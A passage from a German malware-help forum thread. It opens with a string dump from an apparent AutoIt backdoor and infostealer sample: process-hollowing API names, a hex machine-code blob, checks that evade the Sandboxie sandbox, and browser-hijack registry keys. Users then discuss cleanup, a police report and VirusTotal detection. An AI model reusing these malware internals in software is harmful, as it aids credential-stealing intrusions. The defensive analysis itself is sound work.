9=word Magic;byte MajorLinkerVersion;byte MinorLinkerVersion;dword SizeOfCode;dword SizeOfInitializedData;dword SizeOfUninitializedData;dword AddressOfEntryPoint;dword BaseOfCode;dword BaseOfData;dword ImageBase;dword SectionAlignment;dword FileAlignment;word MajorOperatingSystemVersion;word MinorOperatingSystemVersion;word MajorImageVersion;word MinorImageVersion;word MajorSubsystemVersion;word MinorSubsystemVersion;dword Win32VersionValue;dword SizeOfImage;dword SizeOfHeaders;dword CheckSum;word Subsystem;word DllCharacteristics;dword SizeOfStackReserve;dword SizeOfStackCommit;dword SizeOfHeapReserve;dword SizeOfHeapCommit;dword LoaderFlags;dword NumberOfRvaAndSizes
10=word Magic;byte MajorLinkerVersion;byte MinorLinkerVersion;dword SizeOfCode;dword SizeOfInitializedData;dword SizeOfUninitializedData;dword AddressOfEntryPoint;dword BaseOfCode;uint64 ImageBase;dword SectionAlignment;dword FileAlignment;word MajorOperatingSystemVersion;word MinorOperatingSystemVersion;word MajorImageVersion;word MinorImageVersion;word MajorSubsystemVersion;word MinorSubsystemVersion;dword Win32VersionValue;dword SizeOfImage;dword SizeOfHeaders;dword CheckSum;word Subsystem;word DllCharacteristics;uint64 SizeOfStackReserve;uint64 SizeOfStackCommit;uint64 SizeOfHeapReserve;uint64 SizeOfHeapCommit;dword LoaderFlags;dword NumberOfRvaAndSizes
11=char Name[8];dword UnionOfVirtualSizeAndPhysicalAddress;dword VirtualAddress;dword SizeOfRawData;dword PointerToRawData;dword PointerToRelocations;dword PointerToLinenumbers;word NumberOfRelocations;word NumberOfLinenumbers;dword Characteristics
12=byte InheritedAddressSpace;byte ReadImageFileExecOptions;byte BeingDebugged;byte Spare;ptr Mutant;ptr ImageBaseAddress;ptr LoaderData;ptr ProcessParameters;ptr SubSystemData;ptr ProcessHeap;ptr FastPebLock;ptr FastPebLockRoutine;ptr FastPebUnlockRoutine;dword EnvironmentUpdateCount;ptr KernelCallbackTable;ptr EventLogSection;ptr EventLog;ptr FreeList;dword TlsExpansionCounter;ptr TlsBitmap;dword TlsBitmapBits[2];ptr ReadOnlySharedMemoryBase;ptr ReadOnlySharedMemoryHeap;ptr ReadOnlyStaticServerData;ptr AnsiCodePageData;ptr OemCodePageData;ptr UnicodeCaseTableData;dword NumberOfProcessors;dword NtGlobalFlag;byte Spare2[4];int64 CriticalSectionTimeout;dword HeapSegmentReserve;dword HeapSegmentCommit;dword HeapDeCommitTotalFreeThreshold;dword HeapDeCommitFreeBlockThreshold;dword NumberOfHeaps;dword MaximumNumberOfHeaps;ptr ProcessHeaps;ptr GdiSharedHandleTable;ptr ProcessStarterHelper;ptr GdiDCAttributeList;ptr LoaderLock;dword OSMajorVersion;dword OSMinorVersion;dword OSBuildNumber;dword OSPlatformId;dword ImageSubSystem;dword ImageSubSystemMajorVersion;dword ImageSubSystemMinorVersion;dword GdiHandleBuffer[34];dword PostProcessInitRoutine;dword TlsExpansionBitmap;byte TlsExpansionBitmapBits[128];dword SessionId
13=bool
14=ptr
15=dword a; dword b
16=word[
17=CloseHandle
18=ReadProcessMemory
19=WriteProcessMemory
20=CreateProcessW
21=IsWow64Process
22=TerminateProcess
23=GetThreadContext
24=NtUnmapViewOfSection
25=VirtualAllocEx
26=0xC81001006A006A005356578B551031C989C84989D7F2AE484829C88945F085C00F84DC000000B90001000088C82C0188840DEFFEFFFFE2F38365F4008365FC00817DFC000100007D478B45FC31D2F775F0920345100FB6008B4DFC0FB68C0DF0FEFFFF01C80345F425FF0000008945F48B75FC8A8435F0FEFFFF8B7DF486843DF0FEFFFF888435F0FEFFFFFF45FCEBB08D9DF0FEFFFF31FF89FA39550C76638B85ECFEFFFF4025FF0000008985ECFEFFFF89D80385ECFEFFFF0FB6000385E8FEFFFF25FF0000008985E8FEFFFF89DE03B5ECFEFFFF8A0689DF03BDE8FEFFFF860788060FB60E0FB60701C181E1FF0000008A840DF0FEFFFF8B750801D6300642EB985F5E5BC9C21000
27=user32.dll
28=CallWindowProc
29=none
30=byte[
31=msmsgs.exe
32=reader_sl.exe
33=alg.exe
34=wscntfy.exe
35=HKEY_CLASSES_ROOT\http\shell\open\command
36=HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice
37=HKEY_CLASSES_ROOT\shell\open\command
38=\Microsoft.NET\Framework\
39=\vbc.exe
40=[\\/:><\|]|(?s)^\s*$
41=[\\/]+$
42=SandboxieRpcSs.exe
43=SandboxieDcomLaunch.exe
44=:Zone.Identifier:
45=DATA


schrauber 09.08.2015 07:33

hab das File mal weiter geleitet :)

FabulousGee 09.08.2015 14:57

Danke. Bin mal gespannt was da rauskommt.

Hab mittlerweile auch einen weiteren Hinweis gefunden:
AutoIt approach: Infecting your browser via code recycling - hxxp://now.avg.com/autoit-approach-infecting-browser-code-recycling/

Sieht sehr nach einer ähnlichen Attacke aus. Das heißt es ging vermutlich nur auf weitere Zugangsdaten und weniger auf "echte" Daten.
Wenn das tatsächlich gesichert wäre, dann wäre das Schlimmste schon überstanden^^

schrauber 10.08.2015 09:33

ja, sowas in der Art wird es sein.

FabulousGee 15.08.2015 00:34

Kam bei der Weiterleitung noch was raus oder wohin hast du sie geleitet? :)

Anzeige bei der Abteilung Cybercrime der KriPo ist erstattet, viel Hoffnung sollen wir uns aber nicht machen, da die IP wohl aus England kommt... Die Firma TeamViewer war übrigens sehr bemüht unbürokratische Hilfe zu stellen (soweit möglich) - top!

Kennwörter sind ja alle soweit geändert gewesen, die schadhafte Datei habe ich relativ gut entfernen können (aus dem Autostart raus, die erstellten temp-Dateien löschen, neu starten und dann die .exe und alles was vorher nicht ging...). Soweit so clean, hab keine Reste mehr finden können.

schrauber 15.08.2015 20:21

nee noch keine Info, hab aber nochmals nachgefragt :)

schrauber 15.08.2015 20:42

Wird mittlerweile auch bei VT erkannt:

https://www.virustotal.com/en-gb/fil...is/1439667491/


Backdoor mit InfoStealer.


Alle Zeitangaben in WEZ +1. Es ist jetzt 00:27 Uhr.

Copyright ©2000-2025, Trojaner-Board


Search Engine Optimization by vBSEO ©2011, Crawlability, Inc.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19